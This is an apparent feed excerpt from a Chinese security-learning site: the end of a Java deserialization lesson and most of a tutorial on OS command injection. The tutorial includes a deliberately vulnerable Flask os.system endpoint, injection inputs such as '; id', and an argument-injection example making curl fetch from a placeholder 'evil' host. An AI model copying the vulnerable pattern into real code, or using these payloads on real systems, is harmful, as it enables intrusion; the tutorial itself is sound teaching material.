<div class="language-java vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">java</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">private</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> static</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> final</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> long</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> serialVersionUID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1L</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span></code></pre>
</div><p>它相当于类的<strong>版本号</strong>。序列化时这个号会写进字节流；反序列化时，JVM 拿流里的版本号和<strong>当前类</strong>的版本号比对：</p>
<ul>
<li><strong>对得上</strong>：正常还原；</li>
<li><strong>对不上</strong>：抛 <code>InvalidClassException</code>，拒绝还原。</li>
</ul>
<p>如果你不手写，JVM 会根据类的字段、方法等自动算一个。但自动算的结果对类的改动极其敏感——你只是加了个无关紧要的方法，版本号就变了，旧数据反序列化直接失败。所以工程上一般<strong>显式写死 <code>serialVersionUID</code></strong>，由你自己控制什么时候算&quot;不兼容&quot;。</p>
<p>这一点对安全也有启发：反序列化是一个<strong>严格依赖&quot;类定义&quot;的过程</strong>。流里记录的类名、字段，必须在当前 classpath 上能找到、能对上，对象才拼得出来。这也解释了为什么利用链（gadget）必须是<strong>目标环境里真实存在的类</strong>。</p>
<h2 id="七、本篇小结" tabindex="-1">七、本篇小结 <a class="header-anchor" href="#七、本篇小结" aria-label="Permalink to &quot;七、本篇小结&quot;"></a></h2>
<ul>
<li><strong>序列化</strong>是把内存对象变成可存储、可传输的字节；<strong>反序列化</strong>是把字节变回对象，典型场景是 RMI、Session、缓存、消息队列。</li>
<li>类要实现<strong>标记接口 <code>Serializable</code></strong> 才能被序列化。</li>
<li>序列化只保存<strong>非 static、非 transient 的实例字段</strong>，并对引用对象<strong>递归</strong>保存。</li>
<li>反序列化<strong>不走构造器</strong>，而是按字节流直接把对象拼出来——这是一条隐藏的&quot;造对象&quot;通道。</li>
<li>序列化流以 <strong><code>AC ED 00 05</code></strong>（Base64：<code>rO0ABX</code>）开头；<code>serialVersionUID</code> 用于版本校验。</li>
</ul>
<p>到这里你已经知道&quot;对象怎么变成字节&quot;。但反序列化具体是怎么<strong>一步步把对象拼回来的</strong>？为什么说这个过程里会&quot;执行代码&quot;？下一篇 <a href="/wiki/deser-readobject-hooks">5.12 readObject、钩子与递归还原</a> 我们钻进 <code>readObject</code> 内部看清楚。</p>
<div class="page-footer">
  © 2026 光跃Eason·安研社<br>
  仅限授权安全测试与学习研究使用，禁止用于任何非法攻击场景。<br>
  微信：lightleap612
</div>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[4.55 命令注入：一个分号，为什么就能多执行一条命令]]></title>
            <link>https://gysec.top/learn/command-injection-basics</link>
            <guid isPermaLink="false">https://gysec.top/learn/command-injection-basics</guid>
            <pubDate>Mon, 21 Sep 2026 06:21:03 GMT</pubDate>
            <description><![CDATA[
# 4.55 命令注入：一个分号，为什么就能多执行一条命令

> 「命令注入与反弹 Shell」系列 **Part 1（免费）**。
> 这一篇把命令注入（OS Command Injection）讲透：什么情况下你的输入会被当成 shell 命令解释、每个 shell 特殊符号到底在做什么、注入点处在引号里又该怎么办。
> Part 2 是[反弹 Shell：让目标主动连回来](/learn/reverse-shell-essence)，讲拿到执行能力后，怎么把它变成一个稳定的交互式控制；Part 3 讲盲执行与数据外带，Part 4 讲过滤绕过，Part 5 讲各语言的参数化防御。

## 一、先看一个“很正常”的功能

很多网站都有这类运维小工具：你输入一个 IP，服务器帮你 `ping` 一下，看主机通不通。下面用 Python（Flask）写一个最常见、也确实**存在漏洞**的版本：

```python
import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/ping')
def ping():
    ip = request.args.get('ip', '')
    # 直接把用户输入拼进命令字符串，再交给 os.system
    os.system('ping -c 4 ' + ip)
    return 'done'
```

开发者的预期是：你输入 `127.0.0.1`，最终在服务器上执行：

```bash
ping -c 4 127.0.0.1
```

看起来没毛病。但如果攻击者输入的不是 IP，而是：

```text
127.0.0.1; id
```

拼出来的字符串就变成了：

```bash
ping -c 4 127.0.0.1; id
```

在 shell 眼里，分号 `;` 是**命令分隔符**，意思是“前面的命令执行完，接着执行后面的”。于是服务器先 ping，然后**老老实实执行了 `id`**：

```bash
$ ping -c 2 127.0.0.1; id
PING 127.0.0.1 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms
]]></description>
            <content:encoded><![CDATA[<h1 id="_4-55-命令注入-一个分号-为什么就能多执行一条命令" tabindex="-1">4.55 命令注入：一个分号，为什么就能多执行一条命令 <a class="header-anchor" href="#_4-55-命令注入-一个分号-为什么就能多执行一条命令" aria-label="Permalink to &quot;4.55 命令注入：一个分号，为什么就能多执行一条命令&quot;"></a></h1>
<blockquote>
<p>「命令注入与反弹 Shell」系列 <strong>Part 1（免费）</strong>。
这一篇把命令注入（OS Command Injection）讲透：什么情况下你的输入会被当成 shell 命令解释、每个 shell 特殊符号到底在做什么、注入点处在引号里又该怎么办。
Part 2 是<a href="/learn/reverse-shell-essence">反弹 Shell：让目标主动连回来</a>，讲拿到执行能力后，怎么把它变成一个稳定的交互式控制；Part 3 讲盲执行与数据外带，Part 4 讲过滤绕过，Part 5 讲各语言的参数化防御。</p>
</blockquote>
<h2 id="一、先看一个-很正常-的功能" tabindex="-1">一、先看一个“很正常”的功能 <a class="header-anchor" href="#一、先看一个-很正常-的功能" aria-label="Permalink to &quot;一、先看一个“很正常”的功能&quot;"></a></h2>
<p>很多网站都有这类运维小工具：你输入一个 IP，服务器帮你 <code>ping</code> 一下，看主机通不通。下面用 Python（Flask）写一个最常见、也确实<strong>存在漏洞</strong>的版本：</p>
<div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> os</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> flask </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Flask, request</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Flask(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">__name__</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">@app.route</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'/ping'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> ping</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">():</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    ip </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> request.args.get(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'ip'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">''</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # 直接把用户输入拼进命令字符串，再交给 os.system</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    os.system(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'ping -c 4 '</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ip)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 'done'</span></span></code></pre>
</div><p>开发者的预期是：你输入 <code>127.0.0.1</code>，最终在服务器上执行：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">ping</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -c</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 4</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 127.0.0.1</span></span></code></pre>
</div><p>看起来没毛病。但如果攻击者输入的不是 IP，而是：</p>
<div class="language-text vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">text</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span>127.0.0.1; id</span></span></code></pre>
</div><p>拼出来的字符串就变成了：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">ping</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -c</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 4</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 127.0.0.1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">id</span></span></code></pre>
</div><p>在 shell 眼里，分号 <code>;</code> 是<strong>命令分隔符</strong>，意思是“前面的命令执行完，接着执行后面的”。于是服务器先 ping，然后<strong>老老实实执行了 <code>id</code></strong>：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ping</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -c</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 2</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 127.0.0.1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">id</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">PING</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 127.0.0.1</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 56</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">84</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">bytes</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> data.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">64</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> bytes</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> from</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 127.0.0.1:</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> icmp_seq=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ttl=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">64</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> time=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0.035</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ms</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">64</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> bytes</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> from</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 127.0.0.1:</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> icmp_seq=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">2</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ttl=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">64</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> time=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0.061</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ms</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">---</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 127.0.0.1</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ping</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> statistics</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> ---</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">2</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> packets</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> transmitted,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 2</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> received,</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 0%</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> packet</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> loss</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">uid</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) gid</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) groups</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">33</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">www-data</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
</div><p>注意最后一行：Web 服务是以 <code>www-data</code> 身份运行的，<code>id</code> 把这个身份原样返回了。攻击者<strong>没有破解任何密码、没有绕过任何登录</strong>，他只是利用了“shell 会解释特殊符号”这一特性，让程序多执行了一条命令——这就是命令注入。</p>
<h2 id="二、最关键的前提-你的输入-到底有没有经过-shell" tabindex="-1">二、最关键的前提：你的输入，到底有没有经过 shell <a class="header-anchor" href="#二、最关键的前提-你的输入-到底有没有经过-shell" aria-label="Permalink to &quot;二、最关键的前提：你的输入，到底有没有经过 shell&quot;"></a></h2>
<p>这是 90% 的新手（以及不少网上教程）会搞错的地方，也是判断“到底能不能注入”的<strong>第一道分水岭</strong>。</p>
<p>程序执行一条系统命令，底层其实有两条完全不同的路径：</p>
<div class="mermaid-wrap"><MermaidChart chart="flowchart%20TD%0A%20%20%20%20A%5B%22%E7%A8%8B%E5%BA%8F%E6%83%B3%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4%22%5D%20--%3E%20B%7B%22%E8%B5%B0%E5%93%AA%E6%9D%A1%E8%B7%AF%E5%BE%84%EF%BC%9F%22%7D%0A%20%20%20%20B%20--%3E%7C%22%E8%B7%AF%E5%BE%84%E2%91%A0%EF%BC%9A%E7%9B%B4%E6%8E%A5%20exec%EF%BC%88%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84%EF%BC%89%22%7C%20C%5B%22exec(%5B'ping'%2C'-c'%2C'4'%2C%20ip%5D)%3Cbr%2F%3E%E5%86%85%E6%A0%B8%E7%9B%B4%E6%8E%A5%E5%90%AF%E5%8A%A8%20ping%20%E8%BF%9B%E7%A8%8B%22%5D%0A%20%20%20%20B%20--%3E%7C%22%E8%B7%AF%E5%BE%84%E2%91%A1%EF%BC%9A%E4%BA%A4%E7%BB%99%20shell%22%7C%20D%5B%22exec(%5B'%2Fbin%2Fsh'%2C'-c'%2C%20'ping%20-c%204%20'%2Bip%5D)%3Cbr%2F%3Eshell%20%E5%85%88%E8%A7%A3%E6%9E%90%E6%95%B4%E4%B8%B2%EF%BC%8C%E5%86%8D%E5%90%AF%E5%8A%A8%E8%BF%9B%E7%A8%8B%22%5D%0A%20%20%20%20C%20--%3E%20E%5B%22ip%20%E5%8F%AA%E6%98%AF%20ping%20%E7%9A%84%E4%B8%80%E4%B8%AA%E5%8F%82%E6%95%B0%3Cbr%2F%3E%3B%20%7C%20%26%26%20%E7%AD%89%E7%AC%A6%E5%8F%B7%E5%85%A8%E9%83%A8%E5%A4%B1%E6%95%88%22%5D%0A%20%20%20%20D%20--%3E%20F%5B%22shell%20%E4%BC%9A%E8%A7%A3%E9%87%8A%20%3B%20%7C%20%26%26%20%24()%20%E7%AD%89%E7%AC%A6%E5%8F%B7%3Cbr%2F%3E%E5%AD%98%E5%9C%A8%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%22%5D%0A%20%20%20%20style%20E%20fill%3A%23E6F4EA%2Cstroke%3A%232E7D32%0A%20%20%20%20style%20F%20fill%3A%23FDE7E7%2Cstroke%3A%23C62828%0A" /></div><ul>
<li><strong>路径①「直接 exec」</strong>：程序把可执行文件和参数<strong>分成一个数组</strong>交给内核，内核直接拉起进程，中间<strong>没有 shell</strong>。既然没有 shell，<code>;</code>、<code>|</code>、<code>&amp;&amp;</code> 这些符号谁来解释？没人。它们会被原封不动地当成普通参数传给程序，命令注入自然不成立。</li>
<li><strong>路径②「经过 shell」</strong>：程序把<strong>整串字符串</strong>交给 <code>/bin/sh -c</code>（Linux）或 <code>cmd /c</code>（Windows），由 shell 先做一遍解析，再决定执行哪些命令。这时候用户输入里的元字符才会被“当成符号”——<strong>命令注入只可能发生在这条路径上。</strong></li>
</ul>
<h3 id="深挖-为什么有些教程里的-java-例子-其实注入不了" tabindex="-1">深挖：为什么有些教程里的 Java 例子“其实注入不了” <a class="header-anchor" href="#深挖-为什么有些教程里的-java-例子-其实注入不了" aria-label="Permalink to &quot;深挖：为什么有些教程里的 Java 例子“其实注入不了”&quot;"></a></h3>
<p>你可能在很多资料里见过这样的 Java 示例，并被告知输入 <code>; id</code> 就能执行命令：</p>
<div class="language-java vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">java</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Runtime.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">getRuntime</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">().</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">exec</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"ping -c 4 "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ip);   </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// 注意：单字符串版本</span></span></code></pre>
</div><p>但严格来说，<strong>这个写法里 <code>; id</code> 并不会被执行</strong>。原因藏在 JDK 的实现里：<code>Runtime.exec(String)</code> 内部会先用 <code>StringTokenizer</code> 按空白把字符串<strong>拆成一个参数数组</strong>，然后调用数组版的 <code>exec</code> 直接启动进程——它<strong>默认并不经过 shell</strong>。于是 <code>;</code>、<code>id</code> 被拆成了两个普通参数，一起塞给了 <code>ping</code>，<code>ping</code> 只会报一句“unknown host”之类的错。</p>
<p>要让 Java 里的元字符生效，必须<strong>显式把命令交给 shell</strong>，例如：</p>
<div class="language-java vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">java</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">String</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[] cmd </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"/bin/sh"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"-c"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"ping -c 4 "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ip };</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Runtime.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">getRuntime</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">().</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">exec</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(cmd);</span></span></code></pre>
</div><blockquote>
<p><strong>顺带认识一个“近亲”：参数注入（Argument Injection）。</strong>
即使走的是路径①、没有 shell，只要输入能引入<strong>空白</strong>，就可能往目标程序里<strong>追加额外的参数 / 开关</strong>。比如某个功能内部调用 <code>curl 用户输入</code>，你输入 <code> -o /tmp/x http://evil/x</code>，就可能改变 curl 的行为；类似的还有 <code>find -exec</code>、<code>ssh -oProxyCommand=</code>、<code>tar --checkpoint-action</code> 等。它不能直接用 <code>;</code> 拼命令，但借助危险开关同样能走到代码执行。这是比命令注入更隐蔽的一类问题，后面讲中间件和绕过的时候还会遇到。</p>
</blockquote>
<h3 id="常见语言-哪些函数-过-shell-哪些-不过" tabindex="-1">常见语言：哪些函数“过 shell”，哪些“不过” <a class="header-anchor" href="#常见语言-哪些函数-过-shell-哪些-不过" aria-label="Permalink to &quot;常见语言：哪些函数“过 shell”，哪些“不过”&quot;"></a></h3>
<p>下面给一张速览表（每种语言的安全写法在 Part 5 系统展开）：</p>
<table tabindex="0">
<thead>
<tr>
<th>语言</th>
<th>经过 shell（元字符生效，危险）</th>
<th>不经过 shell（参数数组，相对安全）</th>
</tr>
</thead>
<tbody>
<tr>
<td>Python</td>
<td><code>os.system</code>、<code>os.popen</code>、<code>subprocess.*(..., shell=True)</code></td>
<td><code>subprocess.run([&quot;ping&quot;,&quot;-c&quot;,&quot;4&quot;,ip])</code></td>
</tr>
<tr>
<td>PHP</td>
<td><code>system</code>、<code>exec</code>、<code>shell_exec</code>、<code>passthru</code>、<code>popen</code>、反引号 <code>`</code></td>
<td>（PHP 无原生数组式执行，只能靠校验 / 禁用函数）</td>
</tr>
<tr>
<td>Java</td>
<td><code>exec(new String[]{&quot;/bin/sh&quot;,&quot;-c&quot;, s})</code></td>
<td><code>exec(new String[]{&quot;ping&quot;,&quot;-c&quot;,&quot;4&quot;,ip})</code></td>
</tr>
<tr>
<td>Node.js</td>
<td><code>child_process.exec(s)</code></td>
<td><code>execFile(&quot;ping&quot;,[&quot;-c&quot;,&quot;4&quot;,ip])</code>、<code>spawn(...)</code></td>
</tr>
<tr>
<td>C</td>
<td><code>system(s)</code>、<code>popen(s,...)</code></td>
<td><code>execv(path, argv[])</code></td>
</tr>
</tbody>
</table>
<p>记住这张表背后的原则即可：<strong>凡是“把一整串字符串交给一个 shell 去跑”的写法，才谈得上命令注入。</strong> 这也是为什么这一篇用 Python 的 <code>os.system</code>（它内部就是 <code>/bin/sh -c</code>）作为开场示例——它是真实可利用的。</p>
<h2 id="三、shell-拿到这行字之后-做了什么" tabindex="-1">三、shell 拿到这行字之后，做了什么 <a class="header-anchor" href="#三、shell-拿到这行字之后-做了什么" aria-label="Permalink to &quot;三、shell 拿到这行字之后，做了什么&quot;"></a></h2>
<p>既然命令注入是在“和 shell 对话”，那就得知道 shell 拿到一行字符串后，<strong>按什么顺序处理它</strong>。这个顺序直接决定了某些 payload 为什么有效。</p>
<div class="mermaid-wrap"><MermaidChart chart="flowchart%20LR%0A%20%20%20%20A%5B%221.%20%E8%AF%BB%E5%8F%96%E6%95%B4%E8%A1%8C%22%5D%20--%3E%20B%5B%222.%20%E8%AF%86%E5%88%AB%E6%93%8D%E4%BD%9C%E7%AC%A6%3Cbr%2F%3E%3B%20%7C%20%26%26%20%7C%7C%20%26%20%E6%8D%A2%E8%A1%8C%22%5D%0A%20%20%20%20B%20--%3E%20C%5B%223.%20%E5%90%84%E7%B1%BB%E5%B1%95%E5%BC%80%2F%E6%9B%BF%E6%8D%A2%3Cbr%2F%3E%24()%20%E5%91%BD%E4%BB%A4%E6%9B%BF%E6%8D%A2%E3%80%81%E5%8F%98%E9%87%8F%E5%8F%96%E5%80%BC%22%5D%0A%20%20%20%20C%20--%3E%20D%5B%224.%20%E5%8D%95%E8%AF%8D%E6%8B%86%E5%88%86%E4%B8%8E%E9%80%9A%E9%85%8D%E5%B1%95%E5%BC%80%3Cbr%2F%3E%E6%8C%89%E7%A9%BA%E7%99%BD%E6%8B%86%E8%AF%8D%E3%80%81*%20%3F%20%E5%8C%B9%E9%85%8D%E6%96%87%E4%BB%B6%E5%90%8D%22%5D%0A%20%20%20%20D%20--%3E%20E%5B%225.%20%E4%BE%9D%E6%AC%A1%E6%89%A7%E8%A1%8C%E6%AF%8F%E6%9D%A1%E5%91%BD%E4%BB%A4%22%5D%0A" /></div><p>几个对利用最关键的点：</p>
<ol>
<li><strong>操作符在很前面就被识别了。</strong> shell 先把整行按 <code>;</code>、<code>|</code>、<code>&amp;&amp;</code> 等切成“一条一条的命令”，再分别处理每条。所以你用 <code>;</code> 就能硬生生切出一条新命令。</li>
<li><strong>命令替换 <code>$()</code> 在第 3 步就执行了，早于外层命令真正运行。</strong> 这就是为什么把 <code>$(id)</code> 塞进命令里，<code>id</code> 会“抢先”执行——它属于解析阶段的展开动作，而不是等外层程序跑到一半才发生。</li>
<li><strong>展开之后还会做单词拆分。</strong> 这也是为什么“注入一个空格 + 额外参数”能起作用（呼应上面的参数注入）。</li>
</ol>
<p>理解了这条流水线，你就不需要死记 payload：想追加命令就用分隔符，想让命令提前跑就用替换，想让两条命令产生条件关系就用 <code>&amp;&amp;</code>/<code>||</code>。</p>
<h2 id="四、逐个吃透拼接符号-配真实回显" tabindex="-1">四、逐个吃透拼接符号（配真实回显） <a class="header-anchor" href="#四、逐个吃透拼接符号-配真实回显" aria-label="Permalink to &quot;四、逐个吃透拼接符号（配真实回显）&quot;"></a></h2>
<p>下面以“原命令是 <code>ping -c 4 输入点</code>”为例，把每个符号彻底搞懂。</p>
<h3 id="_1-分号-无条件顺序执行" tabindex="-1">1. <code>;</code> 分号：无条件顺序执行 <a class="header-anchor" href="#_1-分号-无条件顺序执行" aria-label="Permalink to &quot;1. `;` 分号：无条件顺序执行&quot;"></a></h3>
<p>不管前一条命令成功还是失败，分号后面的都会执行。这是最直接、最常用的注入符：</p>
<div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> echo</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> step1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">echo</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> step2</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">step1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">step2</span></span></code></pre>
